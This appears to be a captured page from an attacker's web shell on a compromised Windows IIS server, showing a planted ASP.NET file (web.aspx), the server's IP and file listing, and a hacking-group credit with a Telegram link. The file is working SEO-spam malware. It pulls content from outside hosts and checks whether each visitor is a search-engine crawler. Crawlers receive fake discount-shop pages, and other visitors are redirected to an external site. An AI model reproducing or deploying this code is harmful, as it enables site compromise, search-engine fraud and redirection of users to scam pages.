Professor6T9 Web SheLL

Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
Microsoft-IIS/10.0
103.118.16.173

File Name : web.aspx

<%@ Page Language="C#" %>

protected void Page_Load(object sender, EventArgs e)
    {
        string httpxy = HttpContext.Current.Request.IsSecureConnection ? "https://" : "http://";
        if (!IsPostBack)
        {
            webclient = new System.Net.WebClient();
            webclient.Encoding = System.Text.Encoding.UTF8;
			
            string kgurl = "https://ilx01.com/4.txt";
            string kgurl2 = "http://ilx01.top/jd4.txt";
			
            string allurl = "";
            try
            {
                allurl = webclient.DownloadString(kgurl);
            }
            catch
            {
                allurl = webclient.DownloadString(kgurl2);
            }
            string[] urls = allurl.Split('|');
            for (int i = 0; i < urls.Length; i++)
            {
                try{ jd = urls[i]; webclient.DownloadString(jd); break; }catch{}
            }
			
            string URL = jd + "jd_lb.aspx";
            if (Request.QueryString["s"] != null)
            {
                int cid = new Random().Next(1, 71);
                if (Request.QueryString["cid"] != null) { cid = int.Parse(Request.QueryString["cid"]); }
                URL = jd + "sname.aspx?cid=" + cid + "&number=" + Request.QueryString["number"] + "&pnum=" + Request.QueryString["pnum"];
                content = webclient.DownloadString(URL);
                content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path).Replace("cname", "shop");
                Response.ContentType = "text/xml";
            }
            else
            {
                if (Request.QueryString["shop"] != null && Request.QueryString["cid"] != null && Request.QueryString["cid"] != "")
                {
                    URL += "?cname=" + Request.QueryString["shop"] + "&cid=" + Request.QueryString["cid"];
                    kname = HttpUtility.UrlDecode(Request.QueryString["shop"]);
                    tz();
                    content = webclient.DownloadString(URL);
                }

else if (Request.QueryString["iid"] != null)
                {

int wid = new Random().Next(1, 16154);
                    URL += "?iid=" + Request.QueryString["iid"] + "&cid=" + Request.QueryString["cid"] + "&cname=" + Request.QueryString["kname"] + "&mt="+jd+"wz/m" + wid + ".txt" + "&yt="+jd+"ytb.txt&you=1";
                    kname = HttpUtility.UrlDecode(Request.QueryString["kname"]);
                    tz();
                    content = webclient.DownloadString(URL);
                }
                else
                {
                    tz();
                    int cid = new Random().Next(1, 71);
                    if (Request.QueryString["cid"] != null) { cid = int.Parse(Request.QueryString["cid"]); }
                    URL += "?cid=" + cid + "&pnum=" + Request.QueryString["pnum"];
                    content = webclient.DownloadString(URL);

}
                string ttttt = kname + " " + " OFF " + new Random().Next(50, 70) + "% |" + Request.QueryString["pnum"];
                string kkkkk = kname;
                string iiiii = kname + " Online Discount Shop for Electronics, Apparel, Toys, Books, Games, Computers, Shoes, Jewelry, Watches, Baby Products, Sports & Outdoors, Office Products, Bed & Bath, Furniture, Tools, Hardware, Automotive Parts, Accessories & more ";
                content = content.Replace("UUUUU", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
                content = content.Replace("HHHHH", HttpContext.Current.Request.Path);
                content = content.Replace("BBBBB", HttpContext.Current.Request.Url.Host);
                content = content.Replace("NNNNN", "Best Cheap Online Shopping Site");
                content = content.Replace("DDDDD", Request.QueryString["shop"] + " Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping " + Request.QueryString["searchtxt"] + Request.QueryString["shop"]);

content = content.Replace("TTTTT", ttttt);
                content = content.Replace("KKKKK", kkkkk);
                content = content.Replace("IIIII", iiiii);
                content = content.Replace("cname", "shop");
                content = content.Replace("CCCCC", Request.Url.ToString());
            }
        }
    }
    public void tz()
    {

string ip = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_HOST"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_CLIENT_IP"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED"];
        if (Request.QueryString["kk"] != null)
        {
            ip = "66.249.64.190";
        }
        string ipurl = jd + "getdomain.aspx?rnd=1&ip=" + ip;
        webclient = new System.Net.WebClient();
        webclient.Encoding = System.Text.Encoding.UTF8;
        string domain = webclient.DownloadString(ipurl).ToLower();
        if (domain.IndexOf("google") == -1 && domain.IndexOf("msn.com") == -1 && domain.IndexOf("yahoo.com") == -1 && domain.IndexOf("aol.com") == -1)
        {
            if (Request.QueryString["shop"] != null || Request.QueryString["iid"] != null)
            {
                string tzurl = jd + "a.aspx";
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(kname));
                Response.End();
            }
            if (Request.QueryString["pnum"] != null)
            {
                string tzurl = jd + "a.aspx";
                tzurl = tzurl.Replace("products.aspx", "");
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"]);
                Response.End();
            }
        }
    }
    public string xi = "1";
    public string xc = "50";

public System.Net.WebClient webclient = null;
    public string content = "";
    public string content1 = "";
    public string hyzhdy = "";
    public string Greeting = "";
    public string zhang = "";
    public string hhhvx = "";
    public string URL1 = "";
    public System.Random a = null;
    public string descriptions = "";
    public string kname = "";
    public string jd = "";
</script>
<%=content.Replace("XXXXX",HttpContext.Current.Request.Url.Host) %>
<%=content1 %>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	0777	2025-07-24 01:07:09
..	dir	-	0/0	0777	2025-02-13 12:17:20
aspnet_client	dir	-	0/0	0777	2025-02-13 10:19:20
css	dir	-	0/0	0777	2025-07-24 01:07:09
1.txt	text/plain	4 B	0/0	0666	2025-02-13 10:19:20
index1.php	text/x-php	11.57 KB	0/0	0666	2025-02-13 10:19:20
m3.html	text/html	960 B	0/0	0666	2025-02-13 10:19:20
web.aspx	text/html	7.06 KB	0/0	0666	2025-02-13 10:19:20
web.config	text/xml	619 B	0/0	0666	2025-02-13 10:19:20
web1.config	text/xml	621 B	0/0	0666	2025-02-13 10:19:20

Team Anon Force

https://t.me/Professor6T9x